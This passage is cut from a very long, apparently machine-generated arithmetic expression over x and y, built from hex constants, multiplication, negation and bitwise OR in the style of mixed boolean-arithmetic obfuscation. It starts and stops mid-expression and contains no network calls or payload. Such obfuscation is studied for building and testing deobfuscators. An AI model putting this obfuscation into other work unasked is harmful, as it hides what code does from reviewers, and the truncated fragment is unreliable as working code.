)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-(((((-(((((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((((((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-((((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-((((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))-((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)))+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-((((((((((((((((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d)-((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-(((((-(((((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-((((((-0x3399e33c88a2571)-((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-(((((-(((((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-((((((((((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)